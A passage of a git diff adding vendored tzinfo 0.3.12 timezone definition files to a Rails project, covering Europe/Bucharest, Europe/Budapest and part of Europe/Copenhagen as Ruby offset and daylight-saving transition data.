tz.transition 1918, 9, :o3, 58124461, 24 + tz.transition 1918, 11, :o2, 58125815, 24 + tz.transition 1919, 3, :o5, 58128467, 24 + tz.transition 1919, 10, :o2, 58133675, 24 + tz.transition 1920, 2, :o5, 58136867, 24 + tz.transition 1920, 10, :o2, 58142915, 24 + tz.transition 1921, 3, :o5, 58146323, 24 + tz.transition 1921, 10, :o2, 58151723, 24 + tz.transition 1922, 3, :o5, 58155347, 24 + tz.transition 1922, 10, :o2, 58160051, 24 + tz.transition 1923, 4, :o5, 58164755, 24 + tz.transition 1923, 10, :o2, 58168787, 24 + tz.transition 1924, 3, :o5, 58172987, 24 + tz.transition 1924, 10, :o2, 58177523, 24 + tz.transition 1925, 4, :o5, 58181891, 24 + tz.transition 1925, 10, :o2, 58186259, 24 + tz.transition 1926, 4, :o5, 58190963, 24 + tz.transition 1926, 10, :o2, 58194995, 24 + tz.transition 1927, 4, :o5, 58199531, 24 + tz.transition 1927, 10, :o2, 58203731, 24 + tz.transition 1928, 4, :o5, 58208435, 24 + tz.transition 1928, 10, :o2, 29106319, 12 + tz.transition 1929, 4, :o5, 29108671, 12 + tz.transition 1929, 10, :o2, 29110687, 12 + tz.transition 1930, 4, :o5, 29112955, 12 + tz.transition 1930, 10, :o2, 29115055, 12 + tz.transition 1931, 4, :o5, 29117407, 12 + tz.transition 1931, 10, :o2, 29119423, 12 + tz.transition 1932, 4, :o5, 29121607, 12 + tz.transition 1932, 10, :o2, 29123791, 12 + tz.transition 1933, 3, :o5, 29125891, 12 + tz.transition 1933, 10, :o2, 29128243, 12 + tz.transition 1934, 4, :o5, 29130427, 12 + tz.transition 1934, 10, :o2, 29132611, 12 + tz.transition 1935, 3, :o5, 29134711, 12 + tz.transition 1935, 10, :o2, 29136979, 12 + tz.transition 1936, 4, :o5, 29139331, 12 + tz.transition 1936, 10, :o2, 29141347, 12 + tz.transition 1937, 4, :o5, 29143531, 12 + tz.transition 1937, 10, :o2, 29145715, 12 + tz.transition 1938, 3, :o5, 29147815, 12 + tz.transition 1938, 10, :o2, 29150083, 12 + tz.transition 1939, 4, :o5, 29152435, 12 + tz.transition 1939, 11, :o2, 29155039, 12 + tz.transition 1940, 2, :o5, 29156215, 12 + tz.transition 1940, 5, :o4, 29157235, 12 + tz.transition 1942, 11, :o3, 58335973, 24 + tz.transition 1943, 3, :o4, 58339501, 24 + tz.transition 1943, 10, :o3, 58344037, 24 + tz.transition 1944, 4, :o4, 58348405, 24 + tz.transition 1944, 9, :o3, 58352413, 24 + tz.transition 1945, 4, :o4, 58357141, 24 + tz.transition 1945, 9, :o3, 58361149, 24 + tz.transition 1946, 5, :o4, 58367029, 24 + tz.transition 1946, 10, :o3, 58370413, 24 + tz.transition 1977, 4, :o4, 228877200 + tz.transition 1977, 9, :o3, 243997200 + tz.transition 1978, 4, :o4, 260326800 + tz.transition 1978, 10, :o3, 276051600 + tz.transition 1979, 4, :o4, 291776400 + tz.transition 1979, 9, :o3, 307501200 + tz.transition 1980, 4, :o4, 323830800 + tz.transition 1980, 9, :o3, 338950800 + tz.transition 1981, 3, :o4, 354675600 + tz.transition 1981, 9, :o3, 370400400 + tz.transition 1982, 3, :o4, 386125200 + tz.transition 1982, 9, :o3, 401850000 + tz.transition 1983, 3, :o4, 417574800 + tz.transition 1983, 9, :o3, 433299600 + tz.transition 1984, 3, :o4, 449024400 + tz.transition 1984, 9, :o3, 465354000 + tz.transition 1985, 3, :o4, 481078800 + tz.transition 1985, 9, :o3, 496803600 + tz.transition 1986, 3, :o4, 512528400 + tz.transition 1986, 9, :o3, 528253200 + tz.transition 1987, 3, :o4, 543978000 + tz.transition 1987, 9, :o3, 559702800 + tz.transition 1988, 3, :o4, 575427600 + tz.transition 1988, 9, :o3, 591152400 + tz.transition 1989, 3, :o4, 606877200 + tz.transition 1989, 9, :o3, 622602000 + tz.transition 1990, 3, :o4, 638326800 + tz.transition 1990, 9, :o3, 654656400 + tz.transition 1991, 3, :o4, 670381200 + tz.transition 1991, 9, :o3, 686106000 + tz.transition 1992, 3, :o4, 701830800 + tz.transition 1992, 9, :o3, 717555600 + tz.transition 1993, 3, :o4, 733280400 + tz.transition 1993, 9, :o3, 749005200 + tz.transition 1994, 3, :o4, 764730000 + tz.transition 1994, 9, :o3, 780454800 + tz.transition 1995, 3, :o4, 796179600 + tz.transition 1995, 9, :o3, 811904400 + tz.transition 1996, 3, :o4, 828234000 + tz.transition 1996, 10, :o3, 846378000 + tz.transition 1997, 3, :o4, 859683600 + tz.transition 1997, 10, :o3, 877827600 + tz.transition 1998, 3, :o4, 891133200 + tz.transition 1998, 10, :o3, 909277200 + tz.transition 1999, 3, :o4, 922582800 + tz.transition 1999, 10, :o3, 941331600 + tz.transition 2000, 3, :o4, 954032400 + tz.transition 2000, 10, :o3, 972781200 + tz.transition 2001, 3, :o4, 985482000 + tz.transition 2001, 10, :o3, 1004230800 + tz.transition 2002, 3, :o4, 1017536400 + tz.transition 2002, 10, :o3, 1035680400 + tz.transition 2003, 3, :o4, 1048986000 + tz.transition 2003, 10, :o3, 1067130000 + tz.transition 2004, 3, :o4, 1080435600 + tz.transition 2004, 10, :o3, 1099184400 + tz.transition 2005, 3, :o4, 1111885200 + tz.transition 2005, 10, :o3, 1130634000 + tz.transition 2006, 3, :o4, 1143334800 + tz.transition 2006, 10, :o3, 1162083600 + tz.transition 2007, 3, :o4, 1174784400 + tz.transition 2007, 10, :o3, 1193533200 + tz.transition 2008, 3, :o4, 1206838800 + tz.transition 2008, 10, :o3, 1224982800 + tz.transition 2009, 3, :o4, 1238288400 + tz.transition 2009, 10, :o3, 1256432400 + tz.transition 2010, 3, :o4, 1269738000 + tz.transition 2010, 10, :o3, 1288486800 + tz.transition 2011, 3, :o4, 1301187600 + tz.transition 2011, 10, :o3, 1319936400 + tz.transition 2012, 3, :o4, 1332637200 + tz.transition 2012, 10, :o3, 1351386000 + tz.transition 2013, 3, :o4, 1364691600 + tz.transition 2013, 10, :o3, 1382835600 + tz.transition 2014, 3, :o4, 1396141200 + tz.transition 2014, 10, :o3, 1414285200 + tz.transition 2015, 3, :o4, 1427590800 + tz.transition 2015, 10, :o3, 1445734800 + tz.transition 2016, 3, :o4, 1459040400 + tz.transition 2016, 10, :o3, 1477789200 + tz.transition 2017, 3, :o4, 1490490000 + tz.transition 2017, 10, :o3, 1509238800 + tz.transition 2018, 3, :o4, 1521939600 + tz.transition 2018, 10, :o3, 1540688400 + tz.transition 2019, 3, :o4, 1553994000 + tz.transition 2019, 10, :o3, 1572138000 + tz.transition 2020, 3, :o4, 1585443600 + tz.transition 2020, 10, :o3, 1603587600 + tz.transition 2021, 3, :o4, 1616893200 + tz.transition 2021, 10, :o3, 1635642000 + tz.transition 2022, 3, :o4, 1648342800 + tz.transition 2022, 10, :o3, 1667091600 + tz.transition 2023, 3, :o4, 1679792400 + tz.transition 2023, 10, :o3, 1698541200 + tz.transition 2024, 3, :o4, 1711846800 + tz.transition 2024, 10, :o3, 1729990800 + tz.transition 2025, 3, :o4, 1743296400 + tz.transition 2025, 10, :o3, 1761440400 + tz.transition 2026, 3, :o4, 1774746000 + tz.transition 2026, 10, :o3, 1792890000 + tz.transition 2027, 3, :o4, 1806195600 + tz.transition 2027, 10, :o3, 1824944400 + tz.transition 2028, 3, :o4, 1837645200 + tz.transition 2028, 10, :o3, 1856394000 + tz.transition 2029, 3, :o4, 1869094800 + tz.transition 2029, 10, :o3, 1887843600 + tz.transition 2030, 3, :o4, 1901149200 + tz.transition 2030, 10, :o3, 1919293200 + tz.transition 2031, 3, :o4, 1932598800 + tz.transition 2031, 10, :o3, 1950742800 + tz.transition 2032, 3, :o4, 1964048400 + tz.transition 2032, 10, :o3, 1982797200 + tz.transition 2033, 3, :o4, 1995498000 + tz.transition 2033, 10, :o3, 2014246800 + tz.transition 2034, 3, :o4, 2026947600 + tz.transition 2034, 10, :o3, 2045696400 + tz.transition 2035, 3, :o4, 2058397200 + tz.transition 2035, 10, :o3, 2077146000 + tz.transition 2036, 3, :o4, 2090451600 + tz.transition 2036, 10, :o3, 2108595600 + tz.transition 2037, 3, :o4, 2121901200 + tz.transition 2037, 10, :o3, 2140045200 + tz.transition 2038, 3, :o4, 59172253, 24 + tz.transition 2038, 10, :o3, 59177461, 24 + tz.transition 2039, 3, :o4, 59180989, 24 + tz.transition 2039, 10, :o3, 59186197, 24 + tz.transition 2040, 3, :o4, 59189725, 24 + tz.transition 2040, 10, :o3, 59194933, 24 + tz.transition 2041, 3, :o4, 59198629, 24 + tz.transition 2041, 10, :o3, 59203669, 24 + tz.transition 2042, 3, :o4, 59207365, 24 + tz.transition 2042, 10, :o3, 59212405, 24 + tz.transition 2043, 3, :o4, 59216101, 24 + tz.transition 2043, 10, :o3, 59221141, 24 + tz.transition 2044, 3, :o4, 59224837, 24 + tz.transition 2044, 10, :o3, 59230045, 24 + tz.transition 2045, 3, :o4, 59233573, 24 + tz.transition 2045, 10, :o3, 59238781, 24 + tz.transition 2046, 3, :o4, 59242309, 24 + tz.transition 2046, 10, :o3, 59247517, 24 + tz.transition 2047, 3, :o4, 59251213, 24 + tz.transition 2047, 10, :o3, 59256253, 24 + tz.transition 2048, 3, :o4, 59259949, 24 + tz.transition 2048, 10, :o3, 59264989, 24 + tz.transition 2049, 3, :o4, 59268685, 24 + tz.transition 2049, 10, :o3, 59273893, 24 + tz.transition 2050, 3, :o4, 59277421, 24 + tz.transition 2050, 10, :o3, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bucharest.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bucharest.rb new file mode 100644 index 00000000..521c3c93 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bucharest.rb @@ -0,0 +1,181 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Bucharest + include TimezoneDefinition + + timezone 'Europe/Bucharest' do |tz| + tz.offset :o0, 6264, 0, :LMT + tz.offset :o1, 6264, 0, :BMT + tz.offset :o2, 7200, 0, :EET + tz.offset :o3, 7200, 3600, :EEST + + tz.transition 1891, 9, :o1, 964802571, 400 + tz.transition 1931, 7, :o2, 970618571, 400 + tz.transition 1932, 5, :o3, 29122181, 12 + tz.transition 1932, 10, :o2, 29123789, 12 + tz.transition 1933, 4, :o3, 29125973, 12 + tz.transition 1933, 9, :o2, 29128157, 12 + tz.transition 1934, 4, :o3, 29130425, 12 + tz.transition 1934, 10, :o2, 29132609, 12 + tz.transition 1935, 4, :o3, 29134793, 12 + tz.transition 1935, 10, :o2, 29136977, 12 + tz.transition 1936, 4, :o3, 29139161, 12 + tz.transition 1936, 10, :o2, 29141345, 12 + tz.transition 1937, 4, :o3, 29143529, 12 + tz.transition 1937, 10, :o2, 29145713, 12 + tz.transition 1938, 4, :o3, 29147897, 12 + tz.transition 1938, 10, :o2, 29150081, 12 + tz.transition 1939, 4, :o3, 29152265, 12 + tz.transition 1939, 9, :o2, 29154449, 12 + tz.transition 1979, 5, :o3, 296604000 + tz.transition 1979, 9, :o2, 307486800 + tz.transition 1980, 4, :o3, 323816400 + tz.transition 1980, 9, :o2, 338940000 + tz.transition 1981, 3, :o3, 354672000 + tz.transition 1981, 9, :o2, 370396800 + tz.transition 1982, 3, :o3, 386121600 + tz.transition 1982, 9, :o2, 401846400 + tz.transition 1983, 3, :o3, 417571200 + tz.transition 1983, 9, :o2, 433296000 + tz.transition 1984, 3, :o3, 449020800 + tz.transition 1984, 9, :o2, 465350400 + tz.transition 1985, 3, :o3, 481075200 + tz.transition 1985, 9, :o2, 496800000 + tz.transition 1986, 3, :o3, 512524800 + tz.transition 1986, 9, :o2, 528249600 + tz.transition 1987, 3, :o3, 543974400 + tz.transition 1987, 9, :o2, 559699200 + tz.transition 1988, 3, :o3, 575424000 + tz.transition 1988, 9, :o2, 591148800 + tz.transition 1989, 3, :o3, 606873600 + tz.transition 1989, 9, :o2, 622598400 + tz.transition 1990, 3, :o3, 638323200 + tz.transition 1990, 9, :o2, 654652800 + tz.transition 1991, 3, :o3, 670370400 + tz.transition 1991, 9, :o2, 686095200 + tz.transition 1992, 3, :o3, 701820000 + tz.transition 1992, 9, :o2, 717544800 + tz.transition 1993, 3, :o3, 733269600 + tz.transition 1993, 9, :o2, 748994400 + tz.transition 1994, 3, :o3, 764719200 + tz.transition 1994, 9, :o2, 780440400 + tz.transition 1995, 3, :o3, 796168800 + tz.transition 1995, 9, :o2, 811890000 + tz.transition 1996, 3, :o3, 828223200 + tz.transition 1996, 10, :o2, 846363600 + tz.transition 1997, 3, :o3, 859683600 + tz.transition 1997, 10, :o2, 877827600 + tz.transition 1998, 3, :o3, 891133200 + tz.transition 1998, 10, :o2, 909277200 + tz.transition 1999, 3, :o3, 922582800 + tz.transition 1999, 10, :o2, 941331600 + tz.transition 2000, 3, :o3, 954032400 + tz.transition 2000, 10, :o2, 972781200 + tz.transition 2001, 3, :o3, 985482000 + tz.transition 2001, 10, :o2, 1004230800 + tz.transition 2002, 3, :o3, 1017536400 + tz.transition 2002, 10, :o2, 1035680400 + tz.transition 2003, 3, :o3, 1048986000 + tz.transition 2003, 10, :o2, 1067130000 + tz.transition 2004, 3, :o3, 1080435600 + tz.transition 2004, 10, :o2, 1099184400 + tz.transition 2005, 3, :o3, 1111885200 + tz.transition 2005, 10, :o2, 1130634000 + tz.transition 2006, 3, :o3, 1143334800 + tz.transition 2006, 10, :o2, 1162083600 + tz.transition 2007, 3, :o3, 1174784400 + tz.transition 2007, 10, :o2, 1193533200 + tz.transition 2008, 3, :o3, 1206838800 + tz.transition 2008, 10, :o2, 1224982800 + tz.transition 2009, 3, :o3, 1238288400 + tz.transition 2009, 10, :o2, 1256432400 + tz.transition 2010, 3, :o3, 1269738000 + tz.transition 2010, 10, :o2, 1288486800 + tz.transition 2011, 3, :o3, 1301187600 + tz.transition 2011, 10, :o2, 1319936400 + tz.transition 2012, 3, :o3, 1332637200 + tz.transition 2012, 10, :o2, 1351386000 + tz.transition 2013, 3, :o3, 1364691600 + tz.transition 2013, 10, :o2, 1382835600 + tz.transition 2014, 3, :o3, 1396141200 + tz.transition 2014, 10, :o2, 1414285200 + tz.transition 2015, 3, :o3, 1427590800 + tz.transition 2015, 10, :o2, 1445734800 + tz.transition 2016, 3, :o3, 1459040400 + tz.transition 2016, 10, :o2, 1477789200 + tz.transition 2017, 3, :o3, 1490490000 + tz.transition 2017, 10, :o2, 1509238800 + tz.transition 2018, 3, :o3, 1521939600 + tz.transition 2018, 10, :o2, 1540688400 + tz.transition 2019, 3, :o3, 1553994000 + tz.transition 2019, 10, :o2, 1572138000 + tz.transition 2020, 3, :o3, 1585443600 + tz.transition 2020, 10, :o2, 1603587600 + tz.transition 2021, 3, :o3, 1616893200 + tz.transition 2021, 10, :o2, 1635642000 + tz.transition 2022, 3, :o3, 1648342800 + tz.transition 2022, 10, :o2, 1667091600 + tz.transition 2023, 3, :o3, 1679792400 + tz.transition 2023, 10, :o2, 1698541200 + tz.transition 2024, 3, :o3, 1711846800 + tz.transition 2024, 10, :o2, 1729990800 + tz.transition 2025, 3, :o3, 1743296400 + tz.transition 2025, 10, :o2, 1761440400 + tz.transition 2026, 3, :o3, 1774746000 + tz.transition 2026, 10, :o2, 1792890000 + tz.transition 2027, 3, :o3, 1806195600 + tz.transition 2027, 10, :o2, 1824944400 + tz.transition 2028, 3, :o3, 1837645200 + tz.transition 2028, 10, :o2, 1856394000 + tz.transition 2029, 3, :o3, 1869094800 + tz.transition 2029, 10, :o2, 1887843600 + tz.transition 2030, 3, :o3, 1901149200 + tz.transition 2030, 10, :o2, 1919293200 + tz.transition 2031, 3, :o3, 1932598800 + tz.transition 2031, 10, :o2, 1950742800 + tz.transition 2032, 3, :o3, 1964048400 + tz.transition 2032, 10, :o2, 1982797200 + tz.transition 2033, 3, :o3, 1995498000 + tz.transition 2033, 10, :o2, 2014246800 + tz.transition 2034, 3, :o3, 2026947600 + tz.transition 2034, 10, :o2, 2045696400 + tz.transition 2035, 3, :o3, 2058397200 + tz.transition 2035, 10, :o2, 2077146000 + tz.transition 2036, 3, :o3, 2090451600 + tz.transition 2036, 10, :o2, 2108595600 + tz.transition 2037, 3, :o3, 2121901200 + tz.transition 2037, 10, :o2, 2140045200 + tz.transition 2038, 3, :o3, 59172253, 24 + tz.transition 2038, 10, :o2, 59177461, 24 + tz.transition 2039, 3, :o3, 59180989, 24 + tz.transition 2039, 10, :o2, 59186197, 24 + tz.transition 2040, 3, :o3, 59189725, 24 + tz.transition 2040, 10, :o2, 59194933, 24 + tz.transition 2041, 3, :o3, 59198629, 24 + tz.transition 2041, 10, :o2, 59203669, 24 + tz.transition 2042, 3, :o3, 59207365, 24 + tz.transition 2042, 10, :o2, 59212405, 24 + tz.transition 2043, 3, :o3, 59216101, 24 + tz.transition 2043, 10, :o2, 59221141, 24 + tz.transition 2044, 3, :o3, 59224837, 24 + tz.transition 2044, 10, :o2, 59230045, 24 + tz.transition 2045, 3, :o3, 59233573, 24 + tz.transition 2045, 10, :o2, 59238781, 24 + tz.transition 2046, 3, :o3, 59242309, 24 + tz.transition 2046, 10, :o2, 59247517, 24 + tz.transition 2047, 3, :o3, 59251213, 24 + tz.transition 2047, 10, :o2, 59256253, 24 + tz.transition 2048, 3, :o3, 59259949, 24 + tz.transition 2048, 10, :o2, 59264989, 24 + tz.transition 2049, 3, :o3, 59268685, 24 + tz.transition 2049, 10, :o2, 59273893, 24 + tz.transition 2050, 3, :o3, 59277421, 24 + tz.transition 2050, 10, :o2, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Budapest.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Budapest.rb new file mode 100644 index 00000000..1f3a9738 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Budapest.rb @@ -0,0 +1,197 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Budapest + include TimezoneDefinition + + timezone 'Europe/Budapest' do |tz| + tz.offset :o0, 4580, 0, :LMT + tz.offset :o1, 3600, 0, :CET + tz.offset :o2, 3600, 3600, :CEST + + tz.transition 1890, 9, :o1, 10418291051, 4320 + tz.transition 1916, 4, :o2, 29051813, 12 + tz.transition 1916, 9, :o1, 58107299, 24 + tz.transition 1917, 4, :o2, 58112029, 24 + tz.transition 1917, 9, :o1, 58115725, 24 + tz.transition 1918, 4, :o2, 29060215, 12 + tz.transition 1918, 9, :o1, 58124773, 24 + tz.transition 1919, 4, :o2, 29064763, 12 + tz.transition 1919, 9, :o1, 58133197, 24 + tz.transition 1920, 4, :o2, 29069035, 12 + tz.transition 1920, 9, :o1, 58142341, 24 + tz.transition 1941, 4, :o2, 58322173, 24 + tz.transition 1942, 11, :o1, 58335973, 24 + tz.transition 1943, 3, :o2, 58339501, 24 + tz.transition 1943, 10, :o1, 58344037, 24 + tz.transition 1944, 4, :o2, 58348405, 24 + tz.transition 1944, 10, :o1, 58352773, 24 + tz.transition 1945, 5, :o2, 29178929, 12 + tz.transition 1945, 11, :o1, 29181149, 12 + tz.transition 1946, 3, :o2, 58365853, 24 + tz.transition 1946, 10, :o1, 58370389, 24 + tz.transition 1947, 4, :o2, 58374757, 24 + tz.transition 1947, 10, :o1, 58379125, 24 + tz.transition 1948, 4, :o2, 58383493, 24 + tz.transition 1948, 10, :o1, 58387861, 24 + tz.transition 1949, 4, :o2, 58392397, 24 + tz.transition 1949, 10, :o1, 58396597, 24 + tz.transition 1950, 4, :o2, 58401325, 24 + tz.transition 1950, 10, :o1, 58405861, 24 + tz.transition 1954, 5, :o2, 58437251, 24 + tz.transition 1954, 10, :o1, 29220221, 12 + tz.transition 1955, 5, :o2, 58446011, 24 + tz.transition 1955, 10, :o1, 29224601, 12 + tz.transition 1956, 6, :o2, 58455059, 24 + tz.transition 1956, 9, :o1, 29228957, 12 + tz.transition 1957, 6, :o2, 4871983, 2 + tz.transition 1957, 9, :o1, 58466653, 24 + tz.transition 1980, 4, :o2, 323827200 + tz.transition 1980, 9, :o1, 338950800 + tz.transition 1981, 3, :o2, 354675600 + tz.transition 1981, 9, :o1, 370400400 + tz.transition 1982, 3, :o2, 386125200 + tz.transition 1982, 9, :o1, 401850000 + tz.transition 1983, 3, :o2, 417574800 + tz.transition 1983, 9, :o1, 433299600 + tz.transition 1984, 3, :o2, 449024400 + tz.transition 1984, 9, :o1, 465354000 + tz.transition 1985, 3, :o2, 481078800 + tz.transition 1985, 9, :o1, 496803600 + tz.transition 1986, 3, :o2, 512528400 + tz.transition 1986, 9, :o1, 528253200 + tz.transition 1987, 3, :o2, 543978000 + tz.transition 1987, 9, :o1, 559702800 + tz.transition 1988, 3, :o2, 575427600 + tz.transition 1988, 9, :o1, 591152400 + tz.transition 1989, 3, :o2, 606877200 + tz.transition 1989, 9, :o1, 622602000 + tz.transition 1990, 3, :o2, 638326800 + tz.transition 1990, 9, :o1, 654656400 + tz.transition 1991, 3, :o2, 670381200 + tz.transition 1991, 9, :o1, 686106000 + tz.transition 1992, 3, :o2, 701830800 + tz.transition 1992, 9, :o1, 717555600 + tz.transition 1993, 3, :o2, 733280400 + tz.transition 1993, 9, :o1, 749005200 + tz.transition 1994, 3, :o2, 764730000 + tz.transition 1994, 9, :o1, 780454800 + tz.transition 1995, 3, :o2, 796179600 + tz.transition 1995, 9, :o1, 811904400 + tz.transition 1996, 3, :o2, 828234000 + tz.transition 1996, 10, :o1, 846378000 + tz.transition 1997, 3, :o2, 859683600 + tz.transition 1997, 10, :o1, 877827600 + tz.transition 1998, 3, :o2, 891133200 + tz.transition 1998, 10, :o1, 909277200 + tz.transition 1999, 3, :o2, 922582800 + tz.transition 1999, 10, :o1, 941331600 + tz.transition 2000, 3, :o2, 954032400 + tz.transition 2000, 10, :o1, 972781200 + tz.transition 2001, 3, :o2, 985482000 + tz.transition 2001, 10, :o1, 1004230800 + tz.transition 2002, 3, :o2, 1017536400 + tz.transition 2002, 10, :o1, 1035680400 + tz.transition 2003, 3, :o2, 1048986000 + tz.transition 2003, 10, :o1, 1067130000 + tz.transition 2004, 3, :o2, 1080435600 + tz.transition 2004, 10, :o1, 1099184400 + tz.transition 2005, 3, :o2, 1111885200 + tz.transition 2005, 10, :o1, 1130634000 + tz.transition 2006, 3, :o2, 1143334800 + tz.transition 2006, 10, :o1, 1162083600 + tz.transition 2007, 3, :o2, 1174784400 + tz.transition 2007, 10, :o1, 1193533200 + tz.transition 2008, 3, :o2, 1206838800 + tz.transition 2008, 10, :o1, 1224982800 + tz.transition 2009, 3, :o2, 1238288400 + tz.transition 2009, 10, :o1, 1256432400 + tz.transition 2010, 3, :o2, 1269738000 + tz.transition 2010, 10, :o1, 1288486800 + tz.transition 2011, 3, :o2, 1301187600 + tz.transition 2011, 10, :o1, 1319936400 + tz.transition 2012, 3, :o2, 1332637200 + tz.transition 2012, 10, :o1, 1351386000 + tz.transition 2013, 3, :o2, 1364691600 + tz.transition 2013, 10, :o1, 1382835600 + tz.transition 2014, 3, :o2, 1396141200 + tz.transition 2014, 10, :o1, 1414285200 + tz.transition 2015, 3, :o2, 1427590800 + tz.transition 2015, 10, :o1, 1445734800 + tz.transition 2016, 3, :o2, 1459040400 + tz.transition 2016, 10, :o1, 1477789200 + tz.transition 2017, 3, :o2, 1490490000 + tz.transition 2017, 10, :o1, 1509238800 + tz.transition 2018, 3, :o2, 1521939600 + tz.transition 2018, 10, :o1, 1540688400 + tz.transition 2019, 3, :o2, 1553994000 + tz.transition 2019, 10, :o1, 1572138000 + tz.transition 2020, 3, :o2, 1585443600 + tz.transition 2020, 10, :o1, 1603587600 + tz.transition 2021, 3, :o2, 1616893200 + tz.transition 2021, 10, :o1, 1635642000 + tz.transition 2022, 3, :o2, 1648342800 + tz.transition 2022, 10, :o1, 1667091600 + tz.transition 2023, 3, :o2, 1679792400 + tz.transition 2023, 10, :o1, 1698541200 + tz.transition 2024, 3, :o2, 1711846800 + tz.transition 2024, 10, :o1, 1729990800 + tz.transition 2025, 3, :o2, 1743296400 + tz.transition 2025, 10, :o1, 1761440400 + tz.transition 2026, 3, :o2, 1774746000 + tz.transition 2026, 10, :o1, 1792890000 + tz.transition 2027, 3, :o2, 1806195600 + tz.transition 2027, 10, :o1, 1824944400 + tz.transition 2028, 3, :o2, 1837645200 + tz.transition 2028, 10, :o1, 1856394000 + tz.transition 2029, 3, :o2, 1869094800 + tz.transition 2029, 10, :o1, 1887843600 + tz.transition 2030, 3, :o2, 1901149200 + tz.transition 2030, 10, :o1, 1919293200 + tz.transition 2031, 3, :o2, 1932598800 + tz.transition 2031, 10, :o1, 1950742800 + tz.transition 2032, 3, :o2, 1964048400 + tz.transition 2032, 10, :o1, 1982797200 + tz.transition 2033, 3, :o2, 1995498000 + tz.transition 2033, 10, :o1, 2014246800 + tz.transition 2034, 3, :o2, 2026947600 + tz.transition 2034, 10, :o1, 2045696400 + tz.transition 2035, 3, :o2, 2058397200 + tz.transition 2035, 10, :o1, 2077146000 + tz.transition 2036, 3, :o2, 2090451600 + tz.transition 2036, 10, :o1, 2108595600 + tz.transition 2037, 3, :o2, 2121901200 + tz.transition 2037, 10, :o1, 2140045200 + tz.transition 2038, 3, :o2, 59172253, 24 + tz.transition 2038, 10, :o1, 59177461, 24 + tz.transition 2039, 3, :o2, 59180989, 24 + tz.transition 2039, 10, :o1, 59186197, 24 + tz.transition 2040, 3, :o2, 59189725, 24 + tz.transition 2040, 10, :o1, 59194933, 24 + tz.transition 2041, 3, :o2, 59198629, 24 + tz.transition 2041, 10, :o1, 59203669, 24 + tz.transition 2042, 3, :o2, 59207365, 24 + tz.transition 2042, 10, :o1, 59212405, 24 + tz.transition 2043, 3, :o2, 59216101, 24 + tz.transition 2043, 10, :o1, 59221141, 24 + tz.transition 2044, 3, :o2, 59224837, 24 + tz.transition 2044, 10, :o1, 59230045, 24 + tz.transition 2045, 3, :o2, 59233573, 24 + tz.transition 2045, 10, :o1, 59238781, 24 + tz.transition 2046, 3, :o2, 59242309, 24 + tz.transition 2046, 10, :o1, 59247517, 24 + tz.transition 2047, 3, :o2, 59251213, 24 + tz.transition 2047, 10, :o1, 59256253, 24 + tz.transition 2048, 3, :o2, 59259949, 24 + tz.transition 2048, 10, :o1, 59264989, 24 + tz.transition 2049, 3, :o2, 59268685, 24 + tz.transition 2049, 10, :o1, 59273893, 24 + tz.transition 2050, 3, :o2, 59277421, 24 + tz.transition 2050, 10, :o1, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Copenhagen.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Copenhagen.rb new file mode 100644 index 00000000..47cbaf14 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Copenhagen.rb @@ -0,0 +1,179 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Copenhagen + include TimezoneDefinition + + timezone 'Europe/Copenhagen' do |tz| + tz.offset :o0, 3020, 0, :LMT + tz.offset :o1, 3020, 0, :CMT + tz.offset :o2, 3600, 0, :CET + tz.offset :o3, 3600, 3600, :CEST + + tz.transition 1889, 12, :o1, 10417111769, 4320 + tz.transition 1893, 12, :o2, 10423423289, 4320 + tz.transition 1916, 5, :o3, 29051981, 12 + tz.transition 1916, 9, :o2, 19369099, 8 + tz.transition 1940, 5, :o3, 58314347, 24 + tz.transition 1942, 11, :o2, 58335973, 24 + tz.transition 1943, 3, :o3, 58339501, 24 + tz.transition 1943, 10, :o2, 58344037, 24 + tz.transition 1944, 4, :o3, 58348405, 24 + tz.transition 1944, 10, :o2, 58352773, 24 + tz.transition 1945, 4, :o3, 58357141, 24 + tz.transition 1945, 8, :o2, 58360381, 24 + tz.transition 1946, 5, :o3, 58366597, 24 + tz.transition 1946, 9, :o2, 58369549, 24 + tz.transition 1947, 5, :o3, 58375429, 24 + tz.transition 1947, 8, :o2, 58377781, 24 + tz.transition 1948, 5, :o3, 58384333, 24 + tz.transition 1948, 8, :o2, 58386517, 24 + tz.transition 1980, 4, :o3, 323830800 + tz.transition 1980, 9, :o2, 338950800 + tz.transition 1981, 3, :o3, 354675600 + tz.transition 1981, 9, :o2, 370400400 + tz.transition 1982, 3, :o3, 386125200 + tz.transition 1982, 9, :o2, 401850000 + tz.transition 1983, 3, :o3, 417574800 + tz.transition 1983, 9, :o2, 433299600 + tz.transition 1984, 3, :o3, 449024400 + tz.transition 1984, 9, :o2, 465354000 + tz.transition 1985, 3, :o3, 481078800 + tz.transition 1985, 9, :o2, 496803600 + tz.transition 1986, 3, :o3, 512528400 + tz.transition 1986, 9, :o2, 528253200 + tz.transition 1987, 3, :o3, 543978000 + tz.transition 1987, 9, :o2, 559702800 + tz.transition 1988, 3, :o3, 575427600 + tz.transition 1988, 9, :o2, 591152400 + tz.transition 1989, 3, :o3, 606877200 + tz.transition 1989, 9, :o2, 622602000 + tz.transition 1990, 3, :o3, 638326800 + tz.transition 1990, 9, :o2, 654656400 + tz.transition 1991, 3, :o3, 670381200 + tz.transition 1991, 9, :o2, 686106000 + tz.transition 1992, 3, :o3, 701830800 + tz.transition 1992, 9, :o2, 717555600 + tz.transition 1993, 3, :o3, 733280400 + tz.transition 1993, 9, :o2, 749005200 + 